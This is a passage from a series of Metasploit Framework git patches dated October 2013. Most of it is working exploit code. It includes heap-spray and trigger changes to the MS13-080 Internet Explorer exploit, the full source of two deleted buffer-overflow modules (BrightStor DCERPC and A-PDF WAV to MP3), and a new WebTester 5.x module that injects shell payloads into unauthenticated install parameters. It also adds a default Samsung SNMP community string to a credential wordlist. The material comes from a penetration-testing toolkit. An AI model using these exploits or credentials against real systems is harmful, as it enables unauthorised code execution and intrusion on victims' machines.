{'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return From 0081e186f76b6bcad9275e4f99c775079e1d09ed Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 15 Oct 2013 23:59:23 -0500 Subject: [PATCH 24/34] Make sure i var is local --- lib/rex/exploitation/javascriptaddonsdetect.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptaddonsdetect.js b/lib/rex/exploitation/javascriptaddonsdetect.js index 9f3c9f5608..277c1fd469 100644 --- a/lib/rex/exploitation/javascriptaddonsdetect.js +++ b/lib/rex/exploitation/javascriptaddonsdetect.js @@ -6,7 +6,7 @@ window.addons_detect = { }; window.addons_detect.getMsOfficeVersion = function () { var version; var types = new Array(); - for (i=1; i <= 5; i++) { + for (var i=1; i <= 5; i++) { try { types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString())); } From 06a212207e03d5285c617e8f1c72f88447d17292 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 16 Oct 2013 09:24:46 -0500 Subject: [PATCH 25/34] Put PrependMigrate on hold because of #1674 But I will probably still want this. --- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 3b46067eea..0447278a3b 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'PrependMigrate' => true, + #'PrependMigrate' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, From 3fc1a75a6bfe08d5e553eaa54519ae265c6dec5d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 10:40:42 -0500 Subject: [PATCH 26/34] Simplify msftidy with Find.find and add fixed() Also, enforce binary encoding like the other Metasploit tools. This opens the door to fixing files that have things that could be fixed programmatically. [SeeRM #8497] --- tools/msftidy.rb | 65 +++++++++++++++++++++--------------------------- 1 file changed, 29 insertions(+), 36 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 49a6e0ca4c..d1c59a2489 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -1,10 +1,13 @@ #!/usr/bin/env ruby +# -*- coding: binary -*- # # Check (recursively) for style compliance violations and other # tree inconsistencies. # # by jduck and friends # +require 'fileutils' +require 'find' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] @@ -22,6 +25,10 @@ class String "\e[1;33;40m#{self}\e[0m" end + def green + "\e[1;32;40m#{self}\e[0m" + end + def ascii_only? self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true end @@ -31,9 +38,12 @@ class Msftidy LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long + attr_reader :full_filepath, :source, :name + def initialize(source_file) + @full_filepath = source_file @source = load_file(source_file) - @name = source_file + @name = File.basename(source_file) end public @@ -56,6 +66,11 @@ class Msftidy puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" end + def fixed(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'FIXED'.green}] #{txt}" + end + ## # @@ -234,12 +249,12 @@ class Msftidy end end - def test_old_rubies(f_rel) + def test_old_rubies return true unless CHECK_OLD_RUBIES return true unless Object.const_defined? :RVM - puts "Checking syntax for #{f_rel}." + puts "Checking syntax for #{@name}." rubies ||= RVM.list_strings - res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} + res = %x{rvm all do ruby -c #{@full_filepath}}.split("\n").select {|msg| msg =~ /Syntax OK/} error("Fails alternate Ruby version check") if rubies.size != res.size end @@ -411,14 +426,14 @@ class Msftidy end end -def run_checks(f_rel) - tidy = Msftidy.new(f_rel) +def run_checks(full_filepath) + tidy = Msftidy.new(full_filepath) tidy.check_ref_identifiers tidy.check_old_keywords tidy.check_verbose_option tidy.check_badchars tidy.check_extname - tidy.test_old_rubies(f_rel) + tidy.test_old_rubies tidy.check_ranking tidy.check_disclosure_date tidy.check_title_casing @@ -441,33 +456,11 @@ if dirs.length < 1 exit(1) end -dirs.each { |dir| - f = nil - old_dir = nil - - if dir - if File.file?(dir) - # whoa, a single file! - f = File.basename(dir) - dir = File.dirname(dir) - end - - old_dir = Dir.getwd - Dir.chdir(dir) - dparts = dir.split('/') - else - dparts = [] +dirs.each do |dir| + Find.find(dir) do |full_filepath| + next if full_filepath =~ /\.git[\x5c\x2f]/ + next unless File.file? full_filepath + next unless full_filepath =~ /\.rb$/ + run_checks(full_filepath) end - - # Only one file? - if f - run_checks(f) - else - # Do a recursive check of the specified directory - Dir.glob('**/*.rb') { |f| - run_checks(f) - } - end - - Dir.chdir(old_dir) -} +end From 3c2dddd7aa090a85e90c6e5043cfa67d6c2c1563 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 14:43:30 -0500 Subject: [PATCH 27/34] Update reference with a non-plagarised source --- modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 9875098f33..8777562f45 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ], + [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'], [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] ], 'DisclosureDate' => 'Oct 09 2013')) From 2833d583870d2b59dbd3dfd2a493a2801e1bacd8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 15:01:28 -0500 Subject: [PATCH 28/34] Add OSVDB for vbulletin exploit --- modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 8777562f45..9fe008ce1e 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'], + [ 'OSVDB', '98370' ], [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] ], 'DisclosureDate' => 'Oct 09 2013')) From 4fa3b8f8203f5f994397a4c9d07460d6b13dea24 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 16 Oct 2013 15:56:34 -0500 Subject: [PATCH 29/34] Add support for IE7 on XP --- .../windows/browser/ms13_080_cdisplaypointer.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 0447278a3b..2b07addb12 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -66,8 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ], + [ 'IE 7 on Windows XP SP3', {} ], [ 'IE 8 on Windows XP SP3', {} ], - [ 'IE 8 on Windows 7', {} ] + [ 'IE 8 on Windows 7', {} ], ], 'Payload' => { @@ -121,7 +122,7 @@ function dll() { } window.onload = function() { - window.location = "#{get_resource}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll(); + window.location = "#{get_uri.chomp("/")}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll(); } @@ -208,7 +209,7 @@ window.onload = function() { os = target_info[:os] js_payload = '' - if os =~ /Windows (7|XP) MSIE 8\.0/ + if os =~ /Windows (7|XP) MSIE [78]\.0/ js_payload = Rex::Text.to_unescape(get_payload(target_info)) else print_error("Target not supported by this attack.") @@ -224,8 +225,11 @@ sprayHeap({shellcode:unescape("#{js_payload}")}); var earth = document; var data = ""; for (i=0; i<17; i++) { - if (i==7) { data += unescape("%u2020%u2030"); } - else { data += "\\u4141\\u4141"; } + // IE 7 + if (i==6) { data += unescape("%u2020%u2030"); } + // IE 8/9 + else if (i==7) { data += unescape("%u2020%u2030"); } + else { data += unescape("%u4141%u4141"); } } data += "\\u4141"; From 0ce221274b04c6768278d3a09edef508cbe6a823 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 16 Oct 2013 16:40:54 -0500 Subject: [PATCH 30/34] Change JS comments in Ruby. --- .../exploits/windows/browser/ms13_080_cdisplaypointer.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 2b07addb12..60c5c761ab 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -205,6 +205,11 @@ window.onload = function() { rop_payload end + # + # IE 6's call is at 6 + # IE 8's call is at 7 + # Don't think this one triggers on IE9 + # def get_sploit_html(target_info) os = target_info[:os] js_payload = '' @@ -225,9 +230,7 @@ sprayHeap({shellcode:unescape("#{js_payload}")}); var earth = document; var data = ""; for (i=0; i<17; i++) { - // IE 7 if (i==6) { data += unescape("%u2020%u2030"); } - // IE 8/9 else if (i==7) { data += unescape("%u2020%u2030"); } else { data += unescape("%u4141%u4141"); } } From f1a67ecafe5c159918094ff0dd62409134bedfbd Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 17:02:28 -0500 Subject: [PATCH 31/34] Remove overdue deprecated modules [See PT #56795804] [See PT #56796034] --- .../windows/brightstor/tape_engine_8A.rb | 94 ------------------- .../windows/fileformat/a-pdf_wav_to_mp3.rb | 77 --------------- 2 files changed, 171 deletions(-) delete mode 100644 modules/exploits/windows/brightstor/tape_engine_8A.rb delete mode 100644 modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb diff --git a/modules/exploits/windows/brightstor/tape_engine_8A.rb b/modules/exploits/windows/brightstor/tape_engine_8A.rb deleted file mode 100644 index f8ba96a56b..0000000000 --- a/modules/exploits/windows/brightstor/tape_engine_8A.rb +++ /dev/null @@ -1,94 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - - Rank = AverageRanking - - include Msf::Exploit::Remote::DCERPC - include Msf::Module::Deprecated - deprecated Date.new(2013, 10, 2), "exploit/windows/brightstor/tape_engine_0x8a" - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup - r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow - the buffer and execute arbitrary code. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '68330'], - [ 'URL', 'http://www.metasploit.com/users/mc' ], - ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Payload' => - { - 'Space' => 500, - 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", - 'StackAdjustment' => -3500, - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ], - ], - 'DisclosureDate' => 'Oct 4 2010', - 'DefaultTarget' => 0)) - - register_options([ Opt::RPORT(6502) ], self.class) - end - - def exploit - - connect - - handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) - print_status("Binding to #{handle} ...") - - dcerpc_bind(handle) - print_status("Bound to #{handle} ...") - - request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00" - request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - - dcerpc.call(0x2B, request) - - sploit = NDR.long(4) - sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00") - - print_status("Trying target #{target.name}...") - - begin - dcerpc_call(0x8A, sploit) - rescue Rex::Proto::DCERPC::Exceptions::NoResponse - end - - handler - disconnect - - end - -end -=begin -/* opcode: 0x8A, address: 0x100707D0 */ - -long sub_100707D0 ( - [in] handle_t arg_1, - [in] long arg_2, - [in][ref][string] char * arg_3 -); -=end diff --git a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb deleted file mode 100644 index 64f5bbd398..0000000000 --- a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb +++ /dev/null @@ -1,77 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::FILEFORMAT - include Msf::Exploit::Remote::Seh - include Msf::Module::Deprecated - deprecated Date.new(2013, 10, 2), "exploit/windows/fileformat/a_pdf_wav_to_mp3" - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow', - 'Description' => %q{ - This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When - the application is used to import a specially crafted m3u file, a buffer overflow occurs - allowing arbitrary code execution. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'd4rk-h4ck3r', # Original Exploit - 'Dr_IDE', # SEH Exploit - 'dookie' # MSF Module - ], - 'References' => - [ - [ 'OSVDB', '67241' ], - [ 'EDB', '14676' ], - [ 'EDB', '14681' ] - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'seh', - 'DisablePayloadHandler' => 'true', - }, - 'Payload' => - { - 'Space' => 600, - 'BadChars' => "\x00\x0a", - 'StackAdjustment' => -3500 - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe - ], - 'Privileged' => false, - 'DisclosureDate' => 'Aug 17 2010', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), - ], self.class) - - end - - def exploit - - sploit = rand_text_alpha_upper(target['Offset']) - sploit << generate_seh_payload(target.ret) - - print_status("Creating '#{datastore['FILENAME']}' file ...") - - file_create(sploit) - - end - -end From 54cf7855a2c72c1849195b355c2073d338b1b52f Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 17 Oct 2013 16:57:57 +1030 Subject: [PATCH 32/34] Add WebTester 5.x Command Execution exploit module --- .../exploits/unix/webapp/webtester_exec.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 modules/exploits/unix/webapp/webtester_exec.rb diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb new file mode 100644 index 0000000000..94e13bbafa --- /dev/null +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -0,0 +1,103 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "WebTester 5.x Command Execution", + 'Description' => %q{ + This module exploits a command execution vulnerability in WebTester + version 5.x. The 'install2.php' file allows unauthenticated users to + execute arbitrary commands in the 'cpusername', 'cppassword' and + 'cpdomain' parameters. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Targets' => + [ + # Tested on WebTester v5.1.20101016 + [ 'WebTester version 5.x', { 'auto' => true } ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 17 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/']) + ], self.class) + end + + # + # Checks if target is running WebTester version 5.x + # + def check + res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) }) + + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + end + + if res.body =~ /Eppler Software/ + if res.body =~ / - v(5\.[\d\.]+)/ + print_status("#{peer} - Found version: #{$1}") + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + else + return Exploit::CheckCode::Safe + end + end + + def exploit + vuln_params = [ + 'cpusername', + 'cppassword', + 'cpdomain' + ] + print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'install2.php'), + 'vars_post' => { + 'createdb' => 'yes', + 'cpanel' => 'yes', + "#{vuln_params.sample}" => "';#{payload.encoded} #" + } + }) + + if not res + fail_with(Failure::Unknown, "#{peer} - Request timed out") + elsif res.code == 200 and res.body =~ /Failed to connect to database server/ + print_good("#{peer} - Payload sent successfully") + else + fail_with(Failure::Unknown, "#{peer} - Something went wrong") + end + + end +end From 352eca114770de2784c967b3d9de1a2550e2f81d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 17 Oct 2013 09:30:59 -0500 Subject: [PATCH 33/34] Fix check method and set a big space available for payload --- modules/exploits/unix/webapp/webtester_exec.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index 94e13bbafa..ca33fe3f3c 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'BadChars' => "\x00" + 'Space' => 8190, # Just a big value, injection on POST variable + 'DisableNops' => true, + 'BadChars' => "\x00" }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', @@ -63,9 +65,12 @@ class Metasploit3 < Msf::Exploit::Remote end if res.body =~ /Eppler Software/ - if res.body =~ / - v(5\.[\d\.]+)/ - print_status("#{peer} - Found version: #{$1}") + if res.body =~ / - v5\.1\.20101016/ + print_status("#{peer} - Found version: 5.1.20101016") return Exploit::CheckCode::Vulnerable + elsif res.body =~ / - v(5\.[\d\.]+)/ + print_status("#{peer} - Found version: #{$1}") + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end From bd405277d935f142fb1d00612d44e5c0ef54a829 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 17 Oct 2013 10:35:59 -0500 Subject: [PATCH 34/34] Add a default Samsung community string See http://www.kb.cert.org/vuls/id/281284 and http://www.h-online.com/security/news/item/Samsung-network-printer-vulnerability-discovered-Update-2-1757967.html --- data/wordlists/snmp_default_pass.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/data/wordlists/snmp_default_pass.txt b/data/wordlists/snmp_default_pass.txt index 936da894bc..65359993d5 100755 --- a/data/wordlists/snmp_default_pass.txt +++ b/data/wordlists/snmp_default_pass.txt @@ -92,6 +92,7 @@ root router rw rwa +s!a@m#n$p%c san-fran sanfran scotty